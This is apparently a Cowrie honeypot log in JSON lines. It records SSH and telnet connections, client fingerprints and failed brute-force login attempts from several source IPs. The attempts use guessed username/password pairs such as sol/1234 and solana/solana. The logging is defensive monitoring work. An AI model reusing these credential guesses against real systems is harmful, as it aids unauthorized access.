{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:04.599674Z","src_ip":"195.178.110.218","session":"338ebe6d4a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:04.827737Z","src_ip":"195.178.110.218","session":"338ebe6d4a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:05.906277Z","src_ip":"195.178.110.218","session":"338ebe6d4a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31744,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ff4ab7c56c0","protocol":"ssh","message":"New connection: 2.57.121.25:31744 (10.17.0.5:22) [session: 6ff4ab7c56c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:48.438373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:48.443219Z","src_ip":"2.57.121.25","session":"6ff4ab7c56c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:48.543007Z","src_ip":"2.57.121.25","session":"6ff4ab7c56c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"nettie","message":"login attempt [user/nettie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:49.013701Z","src_ip":"2.57.121.25","session":"6ff4ab7c56c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"necklace","message":"login attempt [user/necklace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:50.116278Z","src_ip":"2.57.121.25","session":"6ff4ab7c56c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"nebula","message":"login attempt [user/nebula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:51.220684Z","src_ip":"2.57.121.25","session":"6ff4ab7c56c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"naught","message":"login attempt [user/naught] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:52.321747Z","src_ip":"2.57.121.25","session":"6ff4ab7c56c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"myspace","message":"login attempt [user/myspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:53.424464Z","src_ip":"2.57.121.25","session":"6ff4ab7c56c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:20:54.527224Z","src_ip":"2.57.121.25","session":"6ff4ab7c56c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53638,"dst_ip":"10.17.0.5","dst_port":22,"session":"b009a4fc7144","protocol":"ssh","message":"New connection: 2.57.122.208:53638 (10.17.0.5:22) [session: b009a4fc7144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:22.272084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:22.276711Z","src_ip":"2.57.122.208","session":"b009a4fc7144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:22.376199Z","src_ip":"2.57.122.208","session":"b009a4fc7144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:22.665503Z","src_ip":"2.57.122.208","session":"b009a4fc7144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:23.763422Z","src_ip":"2.57.122.208","session":"b009a4fc7144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47890,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd2feeb9069","protocol":"ssh","message":"New connection: 195.178.110.218:47890 (10.17.0.5:22) [session: 9fd2feeb9069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:37.337738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:37.344041Z","src_ip":"195.178.110.218","session":"9fd2feeb9069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:37.420141Z","src_ip":"195.178.110.218","session":"9fd2feeb9069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:37.652278Z","src_ip":"195.178.110.218","session":"9fd2feeb9069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:38.730278Z","src_ip":"195.178.110.218","session":"9fd2feeb9069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":44228,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7b4c528f7b1","protocol":"telnet","message":"New connection: 130.12.180.174:44228 (10.17.0.5:23) [session: f7b4c528f7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:42.321105Z"}
{"eventid":"cowrie.session.closed","duration":0.5003347396850586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:21:42.821358Z","src_ip":"130.12.180.174","session":"f7b4c528f7b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":50584,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5f47e1d5c46","protocol":"ssh","message":"New connection: 92.118.39.76:50584 (10.17.0.5:22) [session: e5f47e1d5c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:31.059847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:31.063966Z","src_ip":"92.118.39.76","session":"e5f47e1d5c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:31.161266Z","src_ip":"92.118.39.76","session":"e5f47e1d5c46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:31.460474Z","src_ip":"92.118.39.76","session":"e5f47e1d5c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:32.559524Z","src_ip":"92.118.39.76","session":"e5f47e1d5c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43916,"dst_ip":"159.203.135.109","dst_port":22,"session":"284d32ff7745","protocol":"ssh","message":"New connection: 195.178.110.218:43916 (159.203.135.109:22) [session: 284d32ff7745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:39.310343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:39.314938Z","src_ip":"195.178.110.218","session":"284d32ff7745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:39.420910Z","src_ip":"195.178.110.218","session":"284d32ff7745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:39.662064Z","src_ip":"195.178.110.218","session":"284d32ff7745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:22:40.744526Z","src_ip":"195.178.110.218","session":"284d32ff7745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58478,"dst_ip":"10.17.0.5","dst_port":22,"session":"745cecc6eb9b","protocol":"ssh","message":"New connection: 2.57.122.208:58478 (10.17.0.5:22) [session: 745cecc6eb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:23:44.047700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:23:44.073969Z","src_ip":"2.57.122.208","session":"745cecc6eb9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:23:44.153637Z","src_ip":"2.57.122.208","session":"745cecc6eb9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:23:44.886652Z","src_ip":"2.57.122.208","session":"745cecc6eb9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:23:46.112450Z","src_ip":"2.57.122.208","session":"745cecc6eb9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40724,"dst_ip":"10.17.0.5","dst_port":22,"session":"e52726243531","protocol":"ssh","message":"New connection: 195.178.110.218:40724 (10.17.0.5:22) [session: e52726243531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:08.434109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:08.438451Z","src_ip":"195.178.110.218","session":"e52726243531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:08.518423Z","src_ip":"195.178.110.218","session":"e52726243531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:08.759830Z","src_ip":"195.178.110.218","session":"e52726243531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:09.845899Z","src_ip":"195.178.110.218","session":"e52726243531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":38690,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcf52a1b590b","protocol":"ssh","message":"New connection: 92.118.39.76:38690 (10.17.0.5:22) [session: dcf52a1b590b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:24:50.657322Z"}
